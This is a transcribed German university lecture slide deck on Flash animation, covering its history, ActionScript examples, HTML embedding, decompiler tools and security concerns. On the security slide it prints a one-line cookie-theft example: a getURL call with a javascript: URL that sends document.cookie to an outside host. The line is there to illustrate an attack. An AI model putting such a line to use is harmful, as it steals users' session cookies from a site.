Flash - HTW Dresden

Transcription

Flash - HTW Dresden
Entwicklung webbasierter Anwendungen
Macromedia/Adobe –
Flash-Animationen
Jessica Parth
email: [email protected]
HOCHSCHULE FÜR TECHNIK UND WIRTSCHAFT DRESDEN (FH)
Fachbereich Informatik/Mathematik
Was ist Flash
●
Bekannteste Seite YouTube
●
Vergleichbar mit einem Film
●
SWF-Container beinhaltet alle Objekte
●
●
●
●
Objekte sind Vektoren, Grafiken, Audio,
Video
Frei Skalierbar – Optimal bei jeder Auflösung
Grundlage für Navigationselemente, animierte
Elemente oder komplette Flash-Webseiten
Einfache Präsentationsmöglichkeit für
Werbefilme auf Webseiten
Im Detail
●
●
●
●
●
●
Wird im Browser durch ein Plugin eingebettet
Filmfläche mit Zeitleiste auf der sich Objekte
beliebig plazieren, drehen und animieren lassen
Steuerung über Keyframes – Animation erfolgt
über Interpolation automatisch
Integrierte Skriptsprache – ActionScript mit
Möglichkeit JavaScript aufzurufen
Nachladen und Abspielen beliebig weiterer
Flashfilme
Sehr platzsparendes Format
Geschichte
●
1992 Zusammenschluß von MacroMind und Authorware zu Macromedia
●
1997 Flash Version 1 & 2
●
1998 Version 3
●
●
–
Aktionenkonzept
–
Transparenzen
1999 Version 4
–
Offenlegung der Spezifikation um als Web-Standard etabliert zu werden
–
ActionScript 1.0
–
Interaktionen wie Formulare können erstmalig programmiert werden
–
Integrierter MP3-Codec
–
Quicktime-Unterstützung
–
Weite Verbreitung durch Integration in Internet Explorer 5.0 und Windows98
Second Edition
92% Abdeckung erreicht mit Auslieferung von Windows XP
Geschichte
●
2000 Version 5
–
●
●
ActionScript wurde an ECMAScript-Standard angepasst
2002 Version 6 – Flash MX
–
Funktionsbibliothek erheblich erweitert
–
Anpassung an ECMA-Standard weiter fortgeführt
–
Integrierter Videocodec
–
Disaster bei Macromedia mit „Rich Internet Applications“ (2003)
2003 Version 7 – Flash MX 2004
–
ActionScript 2.0
–
JavaScript kann aufgerufen werden
Geschichte
●
2005 Version 8
–
Adobe kauft Macromedia für 3,4Milliarden Dollar
–
Anpassung an eigene Produkte
●
●
2006 Version 9
–
●
Bitmaps, Weichzeichner, Verzerrung, Schatten, Blending, neuer
Videocodec
XML-Unterstützung durch ActionScript 3.0 mit E4X
Aktuell Beta Version 10
Programme und Tools
●
●
●
Seit Offenlegung des Spezifikationen unzählige
Anwendungen für Script-Entwicklung und
Animation auf dem Markt
FDT3 – Eclipse Plugin http://fdt.powerflasher.de
Produkte von Adobe
–
Browserplugin sog. Player für alle Platformen
(kostenlos)
–
Flex Open Source – SDK kostenlos – Builder 3 nicht
–
Flash CS3 Professional
ActionScript
●
●
●
Skriptsprache with JavaScript
Jedes Objekt oder KeyFrame kann ActionScript
enthalten
Reaktion auf Ereignisse und Manipulation der
Eigenschaften
–
OnClipEvent ( enterFrame ){
var a = 0;
a = this._rotation + 2;
if ( a >= 360 ){
a = 0;
}
this._rotataion = a;
}
ActionScript
●
Nachladen von weiteren Flash-Dateien (Movie
Containern)
–
container ist der Name eines MovieClips
_level0.container._x = 0;
_level0.container._y = 0;
_level0.container._visible = 0;
loadMovie(“http://www.example.com/flash.swf“,_lev
el0.container);
–
Zugriff auf container während des Ladevorgangs
möglich
_root.container.getBytesTotal();
_root.container.getBytesLoaded();
ActionScript
●
●
Reaktionen auf Benutzereingaben
–
on (rollOver){
with (objektname){
gotoAndPlay (1);
}
}
–
on (rollOut){ ... }
–
on (release){ ... }
URL öffnen in Frame
–
getURL(“URL“,“targetframe“);
Einbindung in HTML-Seite
<object classid="CLSID:D27CDB6E-AE6D-11cf-96B8-444553540000" width="600" height="400"
codebase="http://active.macromedia.com/flash2/cabs/swflash.cab#version=4,0,0,
0">
<param name="movie" value="nibbles.swf">
<param name="quality" value="high">
<param name="scale" value="exactfit">
<param name="menu" value="true">
<param name="bgcolor" value="#000040">
<embed src="nibbles.swf" quality="high" scale="exactfit" menu="false"
bgcolor="#000000" width="600" height="400" swLiveConnect="false"
type="application/x-shockwave-flash"
pluginspage="http://www.macromedia.com/shockwave/download/download.cgi?
P1_Prod_Version=ShockwaveFlash">
</embed>
</object>
Quelle: http://de.selfhtml.org/html/multimedia/objekte.htm#flash
Beispiele von Flash-Anwendungen
●
Eigene
–
–
http://www.bäckerei-matzker.de
●
Menüsteuerung
●
Überblendungen und Animation
Ratiotechnik Milde
●
●
Nachladen von weiteren Flash-Content
Komplexe Seiten einiger Flash-Spezialisten
–
http://www.maasberg.de
–
http://www.graphixer.de (von maasberg)
–
http://www.flashworker.de
–
http://www.powerflasher.de
Noch mehr Seiten für Hilfe
●
●
●
http://www.flashforum.de/
http://www.itacademy.cc/menu/215/Flash.html
http://www.flashtuts.de/rolloverin.htm
Erstellung einer einfachen FlashAnwendung
●
Bewegungs-Tweening
●
Form-Tweening
●
Schaltflächen
●
Ebenen
●
Keyframes
●
Symbole
Flash-Decompiler
●
.fla-> .swf und kann normal nicht in
Entwicklungsumgebung geändert werden
●
“Film vor Input schützen“ ist nur ein Flag!
●
Programme
–
Action Script Viewer 5
–
Flash Decompiler Trillix 3.0 ++
–
Gordon 1.7.3
–
Imperator Fla 4 ++
–
Sothink SWF Decompiler 3.7
–
SWF Extractor 2.2
Decompiling
●
●
Abhilfe durch
–
Copyright-Hinweise
–
Wasserzeichen
–
Zeichensätze nur die Zeichen einbetten lassen die
verwendet werden
–
Inhalt nachladen
–
Komplexer verschachtelter Code <> Wartbarkeit
Flash-Anwendung zählt als Computerprogramm
somit §69a UrhG beachten! - (siehe Vorlesung Koitz)
Flash ist doch toll aber!?
●
●
●
●
●
●
Inhalt kann nicht von Suchmaschinen erfasst
werden
Kein automatisierte Verarbeitung möglich
Kein Zugang für behinderte Menschen
(Screenreader)
Anfangs Probleme mit Platformunabhängigkeit
Proprietäres binäres Format > Spezifikation ist
verfügbar und OpenSource wird von Adobe
gefördert
Sicherheitaspekte
Sicherheit
●
Cookie-Klau
–
●
●
●
●
●
●
getURL(“javascript:document.location('http://cookieklau.de/klau.cgi?'+document.cookie)“);
Platformübergreifend verfügbar und für Kriminelle
dadurch verlockend
HTTP-Header Daten können in Flash manipuliert werden
Einbettung in Kommentaren gefährlich (Blogs, Foren,
etc)
Keine Analyse von Firewall, Filtern oder
Antivirensoftware
Sicherheitslücken direkt in Flash wie Buffer Overflows
Cross-Site-Scripting durch fehlerhafte
Authoringsoftware
Fazit
●
●
●
●
Sinnvolle Nutzung von Flash ist abhängig vom
Inhalt und dem Zielpublikum
Übertriebene und überladene Animationen
vermeiden
Auf reinen Informationsseiten ist Flash fehl am
Platze
Gleichgewicht zwischen Spaß, Nutzen und
Ladezeit